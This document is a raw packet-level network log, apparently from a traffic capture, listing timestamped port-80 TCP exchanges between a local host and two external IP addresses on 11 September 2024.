Sep 11, 2024 16:22:18.279961109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279972076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279982090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.279999018 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280023098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280025959 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280035973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280049086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280065060 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280090094 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280158043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280169010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280179977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280194044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280205011 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280375004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280385017 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280395031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280405045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280416965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280426979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280428886 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280437946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280451059 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280457973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280466080 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280474901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280483007 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280486107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280498028 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280508041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280518055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280519962 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280529976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280540943 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280550957 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.280560970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280572891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.280586958 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.280611038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280637980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280647039 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280649900 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280662060 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280672073 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280687094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280689001 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280699015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280710936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280721903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280726910 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280750036 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.280755997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280776978 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.280858040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280869007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280879021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280889988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280900002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.280900955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280905008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280919075 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280924082 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280930996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280937910 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280946016 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.280957937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280961990 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.280968904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280981064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280989885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.280992985 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.280997992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.281002998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281029940 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.281047106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.281292915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281337023 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281346083 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281363964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281375885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281387091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281398058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281402111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.281409025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.281447887 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.281785965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.281796932 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.281806946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.281829119 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.281856060 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.281872034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.281883001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.281893969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.281913996 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.281939983 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.281969070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.281984091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.281996012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282006979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282020092 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282025099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282031059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282047033 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282062054 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282083035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282087088 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282098055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282109976 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282130957 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282154083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282210112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282219887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282231092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282241106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282250881 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282252073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282264948 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282282114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282283068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282288074 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282291889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282304049 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282305956 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282315969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282326937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282332897 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282336950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282341957 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282350063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282358885 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282390118 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282551050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282562017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282572985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282582045 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282593012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282596111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282607079 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282613993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282618999 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282619953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282646894 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282649040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282660961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282669067 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282674074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.282697916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282803059 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.282887936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282900095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282910109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282923937 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282947063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.282949924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282962084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282973051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282985926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.282999992 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283015013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283329010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283340931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283350945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283379078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.283394098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283402920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.283406019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283430099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.283431053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283438921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.283446074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283464909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283480883 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283566952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283579111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283590078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283600092 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283601999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283616066 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283637047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283659935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283669949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283680916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283691883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283694983 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283704996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283708096 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283734083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283843040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283854961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283864975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283875942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283885956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283896923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283915997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283921003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.283927917 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283937931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.283942938 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.283950090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283961058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283966064 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.283982038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.283993959 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.283999920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.283999920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284012079 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284014940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284025908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284037113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284038067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284048080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284049988 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284060001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284070969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284076929 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284080982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284092903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284102917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284106970 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284109116 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284113884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284121990 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284122944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284137964 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284141064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284156084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284167051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284171104 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284182072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284189939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284193993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284207106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284214973 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284219027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284229994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284234047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284240961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284255981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284259081 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284269094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284281015 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284281969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284291983 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284293890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284303904 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284310102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284318924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284323931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284327030 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284336090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284348011 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284359932 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284370899 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284379005 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284383059 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284394979 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284416914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284461021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284471035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284482956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284496069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284504890 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284517050 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284545898 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284606934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284617901 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284627914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284638882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284646988 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284651995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284663916 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284665108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284667969 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284681082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284692049 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284693003 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284703970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284709930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284718990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284725904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284735918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284746885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284753084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284759045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284770012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284779072 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284786940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284797907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284807920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284809113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284820080 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.284831047 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284840107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284841061 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284843922 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284853935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284864902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284867048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284871101 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.284877062 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284889936 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284892082 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284903049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.284910917 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284928083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.284951925 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.321415901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.321428061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.321439981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.321481943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.321513891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.321702003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.321712971 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.321724892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.321737051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.321747065 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.321774960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.321988106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.321999073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.322010994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.322021961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.322031021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.322046041 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.322069883 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.322097063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.322108030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.322119951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.322129965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.322137117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.322161913 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.329708099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.329720020 CEST	80	49735	147.45.44.104	192.168.2.4
